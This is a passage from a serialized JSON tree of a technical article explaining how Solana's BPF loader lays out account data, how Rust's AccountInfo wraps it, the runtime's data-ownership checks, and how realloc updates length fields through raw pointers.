e":8972},{"type":24,"tag":930,"props":18142,"children":18143},{"style":959},[18144],{"type":30,"value":5579},{"type":24,"tag":930,"props":18146,"children":18147},{"style":937},[18148],{"type":30,"value":11951},{"type":24,"tag":930,"props":18150,"children":18151},{"style":943},[18152],{"type":30,"value":16838},{"type":24,"tag":930,"props":18154,"children":18155},{"style":959},[18156],{"type":30,"value":5539},{"type":24,"tag":930,"props":18158,"children":18159},{"class":932,"line":993},[18160,18164,18169,18174,18178,18182,18186],{"type":24,"tag":930,"props":18161,"children":18162},{"style":1023},[18163],{"type":30,"value":17008},{"type":24,"tag":930,"props":18165,"children":18166},{"style":1158},[18167],{"type":30,"value":18168}," +=",{"type":24,"tag":930,"props":18170,"children":18171},{"style":1002},[18172],{"type":30,"value":18173}," size_of",{"type":24,"tag":930,"props":18175,"children":18176},{"style":1158},[18177],{"type":30,"value":6597},{"type":24,"tag":930,"props":18179,"children":18180},{"style":959},[18181],{"type":30,"value":1350},{"type":24,"tag":930,"props":18183,"children":18184},{"style":943},[18185],{"type":30,"value":11152},{"type":24,"tag":930,"props":18187,"children":18188},{"style":959},[18189],{"type":30,"value":11561},{"type":24,"tag":930,"props":18191,"children":18192},{"class":932,"line":1057},[18193],{"type":24,"tag":930,"props":18194,"children":18195},{"emptyLinePlaceholder":16},[18196],{"type":30,"value":2412},{"type":24,"tag":930,"props":18198,"children":18199},{"class":932,"line":1066},[18200,18204,18209,18213,18218,18222,18227,18232,18236,18240],{"type":24,"tag":930,"props":18201,"children":18202},{"style":937},[18203],{"type":30,"value":14894},{"type":24,"tag":930,"props":18205,"children":18206},{"style":1023},[18207],{"type":30,"value":18208}," data",{"type":24,"tag":930,"props":18210,"children":18211},{"style":1158},[18212],{"type":30,"value":6137},{"type":24,"tag":930,"props":18214,"children":18215},{"style":943},[18216],{"type":30,"value":18217}," Rc",{"type":24,"tag":930,"props":18219,"children":18220},{"style":1158},[18221],{"type":30,"value":6597},{"type":24,"tag":930,"props":18223,"children":18224},{"style":1002},[18225],{"type":30,"value":18226},"new",{"type":24,"tag":930,"props":18228,"children":18229},{"style":959},[18230],{"type":30,"value":18231},"(RefCell",{"type":24,"tag":930,"props":18233,"children":18234},{"style":1158},[18235],{"type":30,"value":6597},{"type":24,"tag":930,"props":18237,"children":18238},{"style":1002},[18239],{"type":30,"value":18226},{"type":24,"tag":930,"props":18241,"children":18242},{"style":959},[18243],{"type":30,"value":18244},"({\n",{"type":24,"tag":930,"props":18246,"children":18247},{"class":932,"line":1075},[18248,18253,18257,18261,18265,18269,18273,18277,18281,18285],{"type":24,"tag":930,"props":18249,"children":18250},{"style":1002},[18251],{"type":30,"value":18252},"    from_raw_parts_mut",{"type":24,"tag":930,"props":18254,"children":18255},{"style":959},[18256],{"type":30,"value":1010},{"type":24,"tag":930,"props":18258,"children":18259},{"style":1023},[18260],{"type":30,"value":11476},{"type":24,"tag":930,"props":18262,"children":18263},{"style":1158},[18264],{"type":30,"value":436},{"type":24,"tag":930,"props":18266,"children":18267},{"style":1002},[18268],{"type":30,"value":3184},{"type":24,"tag":930,"props":18270,"children":18271},{"style":959},[18272],{"type":30,"value":1010},{"type":24,"tag":930,"props":18274,"children":18275},{"style":1023},[18276],{"type":30,"value":17008},{"type":24,"tag":930,"props":18278,"children":18279},{"style":959},[18280],{"type":30,"value":3199},{"type":24,"tag":930,"props":18282,"children":18283},{"style":1023},[18284],{"type":30,"value":16913},{"type":24,"tag":930,"props":18286,"children":18287},{"style":959},[18288],{"type":30,"value":1054},{"type":24,"tag":930,"props":18290,"children":18291},{"class":932,"line":1122},[18292],{"type":24,"tag":930,"props":18293,"children":18294},{"style":959},[18295],{"type":30,"value":18296},"}));\n",{"type":24,"tag":930,"props":18298,"children":18299},{"class":932,"line":1131},[18300,18304,18308,18312,18316],{"type":24,"tag":930,"props":18301,"children":18302},{"style":1023},[18303],{"type":30,"value":17008},{"type":24,"tag":930,"props":18305,"children":18306},{"style":1158},[18307],{"type":30,"value":18168},{"type":24,"tag":930,"props":18309,"children":18310},{"style":1023},[18311],{"type":30,"value":18088},{"type":24,"tag":930,"props":18313,"children":18314},{"style":1158},[18315],{"type":30,"value":12014},{"type":24,"tag":930,"props":18317,"children":18318},{"style":959},[18319],{"type":30,"value":18320}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":24,"tag":930,"props":18322,"children":18323},{"class":932,"line":1144},[18324,18328,18332,18336,18340,18344,18348,18352,18356,18360,18364,18369,18374],{"type":24,"tag":930,"props":18325,"children":18326},{"style":1023},[18327],{"type":30,"value":17008},{"type":24,"tag":930,"props":18329,"children":18330},{"style":1158},[18331],{"type":30,"value":18168},{"type":24,"tag":930,"props":18333,"children":18334},{"style":959},[18335],{"type":30,"value":1087},{"type":24,"tag":930,"props":18337,"children":18338},{"style":1023},[18339],{"type":30,"value":17008},{"type":24,"tag":930,"props":18341,"children":18342},{"style":937},[18343],{"type":30,"value":11937},{"type":24,"tag":930,"props":18345,"children":18346},{"style":1158},[18347],{"type":30,"value":12924},{"type":24,"tag":930,"props":18349,"children":18350},{"style":937},[18351],{"type":30,"value":12762},{"type":24,"tag":930,"props":18353,"children":18354},{"style":943},[18355],{"type":30,"value":17740},{"type":24,"tag":930,"props":18357,"children":18358},{"style":959},[18359],{"type":30,"value":6249},{"type":24,"tag":930,"props":18361,"children":18362},{"style":1158},[18363],{"type":30,"value":436},{"type":24,"tag":930,"props":18365,"children":18366},{"style":1002},[18367],{"type":30,"value":18368},"align_offset",{"type":24,"tag":930,"props":18370,"children":18371},{"style":959},[18372],{"type":30,"value":18373},"(BPF_ALIGN_OF_U128); ",{"type":24,"tag":930,"props":18375,"children":18376},{"style":1422},[18377],{"type":30,"value":18378},"// padding\n",{"type":24,"tag":33,"props":18380,"children":18381},{},[18382,18384,18389,18391,18397,18399,18410,18412,18417,18419,18425,18427,18433,18435,18441],{"type":30,"value":18383},"In English, we have the length of the data, as a ",{"type":24,"tag":156,"props":18385,"children":18387},{"className":18386},[],[18388],{"type":30,"value":11152},{"type":30,"value":18390},", followed immediately by the data, and an additional ",{"type":24,"tag":156,"props":18392,"children":18394},{"className":18393},[],[18395],{"type":30,"value":18396},"MAX_PERMITTED_DATA_INCREASE",{"type":30,"value":18398}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":24,"tag":37,"props":18400,"children":18403},{"href":18401,"rel":18402},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[41],[18404],{"type":24,"tag":156,"props":18405,"children":18407},{"className":18406},[],[18408],{"type":30,"value":18409},"slice::from_raw_parts_mut",{"type":30,"value":18411},") - slices are how Rust represents a, well, ",{"type":24,"tag":6032,"props":18413,"children":18414},{},[18415],{"type":30,"value":18416},"slice",{"type":30,"value":18418}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":24,"tag":156,"props":18420,"children":18422},{"className":18421},[],[18423],{"type":30,"value":18424},"Rc\u003CRefCell\u003CT>>",{"type":30,"value":18426},", giving us the unwieldy-looking type of ",{"type":24,"tag":156,"props":18428,"children":18430},{"className":18429},[],[18431],{"type":30,"value":18432},"AccountInfo.data",{"type":30,"value":18434},": ",{"type":24,"tag":156,"props":18436,"children":18438},{"className":18437},[],[18439],{"type":30,"value":18440},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":30,"value":436},{"type":24,"tag":33,"props":18443,"children":18444},{},[18445,18447,18454],{"type":30,"value":18446},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":24,"tag":37,"props":18448,"children":18451},{"href":18449,"rel":18450},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[41],[18452],{"type":30,"value":18453},"cloning the referenced account",{"type":30,"value":476},{"type":24,"tag":920,"props":18456,"children":18458},{"className":6102,"code":18457,"language":6101,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[18459],{"type":24,"tag":156,"props":18460,"children":18461},{"__ignoreMap":7},[18462,18470],{"type":24,"tag":930,"props":18463,"children":18464},{"class":932,"line":933},[18465],{"type":24,"tag":930,"props":18466,"children":18467},{"style":1422},[18468],{"type":30,"value":18469},"// Duplicate account, clone the original\n",{"type":24,"tag":930,"props":18471,"children":18472},{"class":932,"line":984},[18473,18477,18481,18485,18489,18493,18497,18502,18506,18510,18515,18519,18524],{"type":24,"tag":930,"props":18474,"children":18475},{"style":1023},[18476],{"type":30,"value":17781},{"type":24,"tag":930,"props":18478,"children":18479},{"style":1158},[18480],{"type":30,"value":436},{"type":24,"tag":930,"props":18482,"children":18483},{"style":1002},[18484],{"type":30,"value":6928},{"type":24,"tag":930,"props":18486,"children":18487},{"style":959},[18488],{"type":30,"value":1010},{"type":24,"tag":930,"props":18490,"children":18491},{"style":1023},[18492],{"type":30,"value":17781},{"type":24,"tag":930,"props":18494,"children":18495},{"style":959},[18496],{"type":30,"value":6849},{"type":24,"tag":930,"props":18498,"children":18499},{"style":1023},[18500],{"type":30,"value":18501},"dup_info",{"type":24,"tag":930,"props":18503,"children":18504},{"style":937},[18505],{"type":30,"value":11937},{"type":24,"tag":930,"props":18507,"children":18508},{"style":943},[18509],{"type":30,"value":16838},{"type":24,"tag":930,"props":18511,"children":18512},{"style":959},[18513],{"type":30,"value":18514},"]",{"type":24,"tag":930,"props":18516,"children":18517},{"style":1158},[18518],{"type":30,"value":436},{"type":24,"tag":930,"props":18520,"children":18521},{"style":1002},[18522],{"type":30,"value":18523},"clone",{"type":24,"tag":930,"props":18525,"children":18526},{"style":959},[18527],{"type":30,"value":18528},"());\n",{"type":24,"tag":33,"props":18530,"children":18531},{},[18532,18534,18539,18541,18546,18548,18553,18555,18560,18561,18567,18569,18574,18576,18588,18590,18595],{"type":30,"value":18533},"Since ",{"type":24,"tag":156,"props":18535,"children":18537},{"className":18536},[],[18538],{"type":30,"value":6817},{"type":30,"value":18540}," inside the ",{"type":24,"tag":156,"props":18542,"children":18544},{"className":18543},[],[18545],{"type":30,"value":18042},{"type":30,"value":18547}," is a ",{"type":24,"tag":156,"props":18549,"children":18551},{"className":18550},[],[18552],{"type":30,"value":18424},{"type":30,"value":18554},", where the ",{"type":24,"tag":156,"props":18556,"children":18558},{"className":18557},[],[18559],{"type":30,"value":9100},{"type":30,"value":18547},{"type":24,"tag":156,"props":18562,"children":18564},{"className":18563},[],[18565],{"type":30,"value":18566},"&mut [u8]",{"type":30,"value":18568}," pointing at the actual data buffer, when we clone the ",{"type":24,"tag":156,"props":18570,"children":18572},{"className":18571},[],[18573],{"type":30,"value":18042},{"type":30,"value":18575},", we get a new reference",{"type":24,"tag":18577,"props":18578,"children":18579},"sup",{},[18580],{"type":24,"tag":37,"props":18581,"children":18586},{"href":18582,"ariaDescribedBy":18583,"dataFootnoteRef":7,"id":18585},"#user-content-fn-rc-refs",[18584],"footnote-label","user-content-fnref-rc-refs",[18587],{"type":30,"value":7129},{"type":30,"value":18589}," to the slice pointing at the ",{"type":24,"tag":6032,"props":18591,"children":18592},{},[18593],{"type":30,"value":18594},"same",{"type":30,"value":18596}," data buffer.",{"type":24,"tag":33,"props":18598,"children":18599},{},[18600,18602,18608,18610,18616],{"type":30,"value":18601},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":24,"tag":156,"props":18603,"children":18605},{"className":18604},[],[18606],{"type":30,"value":18607},"RefCell",{"type":30,"value":18609}," to check the rules at runtime. (The ",{"type":24,"tag":156,"props":18611,"children":18613},{"className":18612},[],[18614],{"type":30,"value":18615},"lamports",{"type":30,"value":18617}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":24,"tag":33,"props":18619,"children":18620},{},[18621,18623,18629],{"type":30,"value":18622},"Changing the data of an account is done by simply writing to ",{"type":24,"tag":156,"props":18624,"children":18626},{"className":18625},[],[18627],{"type":30,"value":18628},"AccountInfo::data",{"type":30,"value":18630},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":24,"tag":33,"props":18632,"children":18633},{},[18634,18636,18643],{"type":30,"value":18635},"This is also where the ",{"type":24,"tag":37,"props":18637,"children":18640},{"href":18638,"rel":18639},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[41],[18641],{"type":30,"value":18642},"runtime validity checks",{"type":30,"value":18644}," are imposed.",{"type":24,"tag":920,"props":18646,"children":18648},{"className":6102,"code":18647,"language":6101,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[18649],{"type":24,"tag":156,"props":18650,"children":18651},{"__ignoreMap":7},[18652,18660,18668,18676,18718,18736,18765,18809,18816,18840,18875,18899,18931,18946,18978,18985],{"type":24,"tag":930,"props":18653,"children":18654},{"class":932,"line":933},[18655],{"type":24,"tag":930,"props":18656,"children":18657},{"style":1422},[18658],{"type":30,"value":18659},"// Only the owner may change account data\n",{"type":24,"tag":930,"props":18661,"children":18662},{"class":932,"line":984},[18663],{"type":24,"tag":930,"props":18664,"children":18665},{"style":1422},[18666],{"type":30,"value":18667},"//   and if the account is writable\n",{"type":24,"tag":930,"props":18669,"children":18670},{"class":932,"line":993},[18671],{"type":24,"tag":930,"props":18672,"children":18673},{"style":1422},[18674],{"type":30,"value":18675},"//   and if the account is not executable\n",{"type":24,"tag":930,"props":18677,"children":18678},{"class":932,"line":1057},[18679,18684,18688,18692,18696,18700,18705,18709,18714],{"type":24,"tag":930,"props":18680,"children":18681},{"style":1079},[18682],{"type":30,"value":18683},"if",{"type":24,"tag":930,"props":18685,"children":18686},{"style":1158},[18687],{"type":30,"value":15971},{"type":24,"tag":930,"props":18689,"children":18690},{"style":959},[18691],{"type":30,"value":1010},{"type":24,"tag":930,"props":18693,"children":18694},{"style":1023},[18695],{"type":30,"value":17772},{"type":24,"tag":930,"props":18697,"children":18698},{"style":1158},[18699],{"type":30,"value":6402},{"type":24,"tag":930,"props":18701,"children":18702},{"style":1023},[18703],{"type":30,"value":18704}," pre",{"type":24,"tag":930,"props":18706,"children":18707},{"style":1158},[18708],{"type":30,"value":436},{"type":24,"tag":930,"props":18710,"children":18711},{"style":1002},[18712],{"type":30,"value":18713},"owner",{"type":24,"tag":930,"props":18715,"children":18716},{"style":959},[18717],{"type":30,"value":10846},{"type":24,"tag":930,"props":18719,"children":18720},{"class":932,"line":1066},[18721,18726,18731],{"type":24,"tag":930,"props":18722,"children":18723},{"style":1158},[18724],{"type":30,"value":18725},"    &&",{"type":24,"tag":930,"props":18727,"children":18728},{"style":1023},[18729],{"type":30,"value":18730}," is_writable",{"type":24,"tag":930,"props":18732,"children":18733},{"style":1422},[18734],{"type":30,"value":18735},"  // line coverage used to get branch coverage\n",{"type":24,"tag":930,"props":18737,"children":18738},{"class":932,"line":1075},[18739,18743,18747,18751,18755,18760],{"type":24,"tag":930,"props":18740,"children":18741},{"style":1158},[18742],{"type":30,"value":18725},{"type":24,"tag":930,"props":18744,"children":18745},{"style":1158},[18746],{"type":30,"value":15971},{"type":24,"tag":930,"props":18748,"children":18749},{"style":1023},[18750],{"type":30,"value":920},{"type":24,"tag":930,"props":18752,"children":18753},{"style":1158},[18754],{"type":30,"value":436},{"type":24,"tag":930,"props":18756,"children":18757},{"style":1002},[18758],{"type":30,"value":18759},"executable",{"type":24,"tag":930,"props":18761,"children":18762},{"style":959},[18763],{"type":30,"value":18764},"())\n",{"type":24,"tag":930,"props":18766,"children":18767},{"class":932,"line":1122},[18768,18772,18776,18780,18784,18788,18792,18797,18801,18805],{"type":24,"tag":930,"props":18769,"children":18770},{"style":1158},[18771],{"type":30,"value":18725},{"type":24,"tag":930,"props":18773,"children":18774},{"style":1023},[18775],{"type":30,"value":18704},{"type":24,"tag":930,"props":18777,"children":18778},{"style":1158},[18779],{"type":30,"value":436},{"type":24,"tag":930,"props":18781,"children":18782},{"style":1002},[18783],{"type":30,"value":6817},{"type":24,"tag":930,"props":18785,"children":18786},{"style":959},[18787],{"type":30,"value":3446},{"type":24,"tag":930,"props":18789,"children":18790},{"style":1158},[18791],{"type":30,"value":4681},{"type":24,"tag":930,"props":18793,"children":18794},{"style":1023},[18795],{"type":30,"value":18796}," post",{"type":24,"tag":930,"props":18798,"children":18799},{"style":1158},[18800],{"type":30,"value":436},{"type":24,"tag":930,"props":18802,"children":18803},{"style":1002},[18804],{"type":30,"value":6817},{"type":24,"tag":930,"props":18806,"children":18807},{"style":959},[18808],{"type":30,"value":10846},{"type":24,"tag":930,"props":18810,"children":18811},{"class":932,"line":1131},[18812],{"type":24,"tag":930,"props":18813,"children":18814},{"style":959},[18815],{"type":30,"value":13987},{"type":24,"tag":930,"props":18817,"children":18818},{"class":932,"line":1144},[18819,18823,18827,18831,18835],{"type":24,"tag":930,"props":18820,"children":18821},{"style":1079},[18822],{"type":30,"value":15386},{"type":24,"tag":930,"props":18824,"children":18825},{"style":1023},[18826],{"type":30,"value":18704},{"type":24,"tag":930,"props":18828,"children":18829},{"style":1158},[18830],{"type":30,"value":436},{"type":24,"tag":930,"props":18832,"children":18833},{"style":1002},[18834],{"type":30,"value":18759},{"type":24,"tag":930,"props":18836,"children":18837},{"style":959},[18838],{"type":30,"value":18839},"() {\n",{"type":24,"tag":930,"props":18841,"children":18842},{"class":932,"line":1169},[18843,18848,18853,18857,18862,18866,18871],{"type":24,"tag":930,"props":18844,"children":18845},{"style":1079},[18846],{"type":30,"value":18847},"        return",{"type":24,"tag":930,"props":18849,"children":18850},{"style":943},[18851],{"type":30,"value":18852}," Err",{"type":24,"tag":930,"props":18854,"children":18855},{"style":959},[18856],{"type":30,"value":1010},{"type":24,"tag":930,"props":18858,"children":18859},{"style":943},[18860],{"type":30,"value":18861},"InstructionError",{"type":24,"tag":930,"props":18863,"children":18864},{"style":1158},[18865],{"type":30,"value":6597},{"type":24,"tag":930,"props":18867,"children":18868},{"style":943},[18869],{"type":30,"value":18870},"ExecutableDataModified",{"type":24,"tag":930,"props":18872,"children":18873},{"style":959},[18874],{"type":30,"value":1278},{"type":24,"tag":930,"props":18876,"children":18877},{"class":932,"line":1191},[18878,18883,18887,18891,18895],{"type":24,"tag":930,"props":18879,"children":18880},{"style":959},[18881],{"type":30,"value":18882},"    } ",{"type":24,"tag":930,"props":18884,"children":18885},{"style":1079},[18886],{"type":30,"value":2317},{"type":24,"tag":930,"props":18888,"children":18889},{"style":1079},[18890],{"type":30,"value":2322},{"type":24,"tag":930,"props":18892,"children":18893},{"style":1023},[18894],{"type":30,"value":18730},{"type":24,"tag":930,"props":18896,"children":18897},{"style":959},[18898],{"type":30,"value":981},{"type":24,"tag":930,"props":18900,"children":18901},{"class":932,"line":1223},[18902,18906,18910,18914,18918,18922,18927],{"type":24,"tag":930,"props":18903,"children":18904},{"style":1079},[18905],{"type":30,"value":18847},{"type":24,"tag":930,"props":18907,"children":18908},{"style":943},[18909],{"type":30,"value":18852},{"type":24,"tag":930,"props":18911,"children":18912},{"style":959},[18913],{"type":30,"value":1010},{"type":24,"tag":930,"props":18915,"children":18916},{"style":943},[18917],{"type":30,"value":18861},{"type":24,"tag":930,"props":18919,"children":18920},{"style":1158},[18921],{"type":30,"value":6597},{"type":24,"tag":930,"props":18923,"children":18924},{"style":943},[18925],{"type":30,"value":18926},"ExternalAccountDataModified",{"type":24,"tag":930,"props":18928,"children":18929},{"style":959},[18930],{"type":30,"value":1278},{"type":24,"tag":930,"props":18932,"children":18933},{"class":932,"line":1281},[18934,18938,18942],{"type":24,"tag":930,"props":18935,"children":18936},{"style":959},[18937],{"type":30,"value":18882},{"type":24,"tag":930,"props":18939,"children":18940},{"style":1079},[18941],{"type":30,"value":2317},{"type":24,"tag":930,"props":18943,"children":18944},{"style":959},[18945],{"type":30,"value":981},{"type":24,"tag":930,"props":18947,"children":18948},{"class":932,"line":1313},[18949,18953,18957,18961,18965,18969,18974],{"type":24,"tag":930,"props":18950,"children":18951},{"style":1079},[18952],{"type":30,"value":18847},{"type":24,"tag":930,"props":18954,"children":18955},{"style":943},[18956],{"type":30,"value":18852},{"type":24,"tag":930,"props":18958,"children":18959},{"style":959},[18960],{"type":30,"value":1010},{"type":24,"tag":930,"props":18962,"children":18963},{"style":943},[18964],{"type":30,"value":18861},{"type":24,"tag":930,"props":18966,"children":18967},{"style":1158},[18968],{"type":30,"value":6597},{"type":24,"tag":930,"props":18970,"children":18971},{"style":943},[18972],{"type":30,"value":18973},"ReadonlyDataModified",{"type":24,"tag":930,"props":18975,"children":18976},{"style":959},[18977],{"type":30,"value":1278},{"type":24,"tag":930,"props":18979,"children":18980},{"class":932,"line":1335},[18981],{"type":24,"tag":930,"props":18982,"children":18983},{"style":959},[18984],{"type":30,"value":1840},{"type":24,"tag":930,"props":18986,"children":18987},{"class":932,"line":1376},[18988],{"type":24,"tag":930,"props":18989,"children":18990},{"style":959},[18991],{"type":30,"value":2528},{"type":24,"tag":151,"props":18993,"children":18995},{"id":18994},"back-to-realloc",[18996,18998],{"type":30,"value":18997},"Back to ",{"type":24,"tag":156,"props":18999,"children":19001},{"className":19000},[],[19002],{"type":30,"value":16745},{"type":24,"tag":33,"props":19004,"children":19005},{},[19006],{"type":30,"value":19007},"As a reminder, this is what we were looking at before that detour:",{"type":24,"tag":920,"props":19009,"children":19010},{"className":6102,"code":17497,"language":6101,"meta":7,"style":7},[19011],{"type":24,"tag":156,"props":19012,"children":19013},{"__ignoreMap":7},[19014,19021,19108],{"type":24,"tag":930,"props":19015,"children":19016},{"class":932,"line":933},[19017],{"type":24,"tag":930,"props":19018,"children":19019},{"style":1422},[19020],{"type":30,"value":17509},{"type":24,"tag":930,"props":19022,"children":19023},{"class":932,"line":984},[19024,19028,19032,19036,19040,19044,19048,19052,19056,19060,19064,19068,19072,19076,19080,19084,19088,19092,19096,19100,19104],{"type":24,"tag":930,"props":19025,"children":19026},{"style":937},[19027],{"type":30,"value":14894},{"type":24,"tag":930,"props":19029,"children":19030},{"style":1023},[19031],{"type":30,"value":16964},{"type":24,"tag":930,"props":19033,"children":19034},{"style":1158},[19035],{"type":30,"value":6137},{"type":24,"tag":930,"props":19037,"children":19038},{"style":937},[19039],{"type":30,"value":16904},{"type":24,"tag":930,"props":19041,"children":19042},{"style":1158},[19043],{"type":30,"value":436},{"type":24,"tag":930,"props":19045,"children":19046},{"style":1002},[19047],{"type":30,"value":16981},{"type":24,"tag":930,"props":19049,"children":19050},{"style":959},[19051],{"type":30,"value":16986},{"type":24,"tag":930,"props":19053,"children":19054},{"style":1158},[19055],{"type":30,"value":6254},{"type":24,"tag":930,"props":19057,"children":19058},{"style":1002},[19059],{"type":30,"value":16995},{"type":24,"tag":930,"props":19061,"children":19062},{"style":959},[19063],{"type":30,"value":16986},{"type":24,"tag":930,"props":19065,"children":19066},{"style":1158},[19067],{"type":30,"value":436},{"type":24,"tag":930,"props":19069,"children":19070},{"style":1002},[19071],{"type":30,"value":17008},{"type":24,"tag":930,"props":19073,"children":19074},{"style":959},[19075],{"type":30,"value":1010},{"type":24,"tag":930,"props":19077,"children":19078},{"style":1158},[19079],{"type":30,"value":1215},{"type":24,"tag":930,"props":19081,"children":19082},{"style":1242},[19083],{"type":30,"value":7192},{"type":24,"tag":930,"props":19085,"children":19086},{"style":959},[19087],{"type":30,"value":5579},{"type":24,"tag":930,"props":19089,"children":19090},{"style":937},[19091],{"type":30,"value":11951},{"type":24,"tag":930,"props":19093,"children":19094},{"style":1158},[19095],{"type":30,"value":12924},{"type":24,"tag":930,"props":19097,"children":19098},{"style":937},[19099],{"type":30,"value":6839},{"type":24,"tag":930,"props":19101,"children":19102},{"style":943},[19103],{"type":30,"value":8972},{"type":24,"tag":930,"props":19105,"children":19106},{"style":959},[19107],{"type":30,"value":5539},{"type":24,"tag":930,"props":19109,"children":19110},{"class":932,"line":993},[19111,19115,19119,19123,19127,19131,19135],{"type":24,"tag":930,"props":19112,"children":19113},{"style":1158},[19114],{"type":30,"value":1410},{"type":24,"tag":930,"props":19116,"children":19117},{"style":1023},[19118],{"type":30,"value":17056},{"type":24,"tag":930,"props":19120,"children":19121},{"style":1158},[19122],{"type":30,"value":6137},{"type":24,"tag":930,"props":19124,"children":19125},{"style":1023},[19126],{"type":30,"value":17065},{"type":24,"tag":930,"props":19128,"children":19129},{"style":937},[19130],{"type":30,"value":11937},{"type":24,"tag":930,"props":19132,"children":19133},{"style":943},[19134],{"type":30,"value":8972},{"type":24,"tag":930,"props":19136,"children":19137},{"style":959},[19138],{"type":30,"value":5539},{"type":24,"tag":33,"props":19140,"children":19141},{},[19142,19147,19149,19154,19156,19161,19163,19174,19176,19181,19183,19188],{"type":24,"tag":156,"props":19143,"children":19145},{"className":19144},[],[19146],{"type":30,"value":16981},{"type":30,"value":19148}," gives us the ",{"type":24,"tag":156,"props":19150,"children":19152},{"className":19151},[],[19153],{"type":30,"value":18566},{"type":30,"value":19155}," from the ",{"type":24,"tag":156,"props":19157,"children":19159},{"className":19158},[],[19160],{"type":30,"value":18440},{"type":30,"value":19162},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":24,"tag":37,"props":19164,"children":19167},{"href":19165,"rel":19166},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[41],[19168],{"type":24,"tag":156,"props":19169,"children":19171},{"className":19170},[],[19172],{"type":30,"value":19173},"slice::as_mut_ptr()",{"type":30,"value":19175}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":24,"tag":156,"props":19177,"children":19179},{"className":19178},[],[19180],{"type":30,"value":11152},{"type":30,"value":19182}," - behind the data buffer), and then writes ",{"type":24,"tag":156,"props":19184,"children":19186},{"className":19185},[],[19187],{"type":30,"value":16829},{"type":30,"value":19189}," to it.",{"type":24,"tag":33,"props":19191,"children":19192},{},[19193,19195,19207,19209,19215],{"type":30,"value":19194},"This is reasonable... ",{"type":24,"tag":6032,"props":19196,"children":19197},{},[19198,19200,19205],{"type":30,"value":19199},"as long as the ",{"type":24,"tag":156,"props":19201,"children":19203},{"className":19202},[],[19204],{"type":30,"value":6817},{"type":30,"value":19206}," actually came from the serialized buffer",{"type":30,"value":19208},". We'll come back to this ",{"type":24,"tag":37,"props":19210,"children":19212},{"href":19211},"#Not-contracts",[19213],{"type":30,"value":19214},"later",{"type":30,"value":436},{"type":24,"tag":33,"props":19217,"children":19218},{},[19219,19221,19226],{"type":30,"value":19220},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":24,"tag":156,"props":19222,"children":19224},{"className":19223},[],[19225],{"type":30,"value":18566},{"type":30,"value":19227}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":24,"tag":920,"props":19229,"children":19231},{"className":6102,"code":19230,"language":6101,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[19232],{"type":24,"tag":156,"props":19233,"children":19234},{"__ignoreMap":7},[19235,19243,19370],{"type":24,"tag":930,"props":19236,"children":19237},{"class":932,"line":933},[19238],{"type":24,"tag":930,"props":19239,"children":19240},{"style":1422},[19241],{"type":30,"value":19242},"// Then set the new length in the local slice\n",{"type":24,"tag":930,"props":19244,"children":19245},{"class":932,"line":984},[19246,19250,19254,19258,19262,19266,19270,19274,19278,19282,19286,19290,19294,19298,19302,19306,19310,19314,19318,19322,19326,19330,19334,19338,19342,19346,19350,19354,19358,19362,19366],{"type":24,"tag":930,"props":19247,"children":19248},{"style":937},[19249],{"type":30,"value":14894},{"type":24,"tag":930,"props":19251,"children":19252},{"style":1023},[19253],{"type":30,"value":16964},{"type":24,"tag":930,"props":19255,"children":19256},{"style":1158},[19257],{"type":30,"value":6137},{"type":24,"tag":930,"props":19259,"children":19260},{"style":1158},[19261],{"type":30,"value":10253},{"type":24,"tag":930,"props":19263,"children":19264},{"style":937},[19265],{"type":30,"value":6839},{"type":24,"tag":930,"props":19267,"children":19268},{"style":1158},[19269],{"type":30,"value":12924},{"type":24,"tag":930,"props":19271,"children":19272},{"style":959},[19273],{"type":30,"value":17124},{"type":24,"tag":930,"props":19275,"children":19276},{"style":937},[19277],{"type":30,"value":16820},{"type":24,"tag":930,"props":19279,"children":19280},{"style":1158},[19281],{"type":30,"value":436},{"type":24,"tag":930,"props":19283,"children":19284},{"style":959},[19285],{"type":30,"value":6817},{"type":24,"tag":930,"props":19287,"children":19288},{"style":1158},[19289],{"type":30,"value":436},{"type":24,"tag":930,"props":19291,"children":19292},{"style":1002},[19293],{"type":30,"value":17145},{"type":24,"tag":930,"props":19295,"children":19296},{"style":959},[19297],{"type":30,"value":3446},{"type":24,"tag":930,"props":19299,"children":19300},{"style":937},[19301],{"type":30,"value":11951},{"type":24,"tag":930,"props":19303,"children":19304},{"style":1158},[19305],{"type":30,"value":12924},{"type":24,"tag":930,"props":19307,"children":19308},{"style":937},[19309],{"type":30,"value":12762},{"type":24,"tag":930,"props":19311,"children":19312},{"style":943},[19313],{"type":30,"value":8972},{"type":24,"tag":930,"props":19315,"children":19316},{"style":959},[19317],{"type":30,"val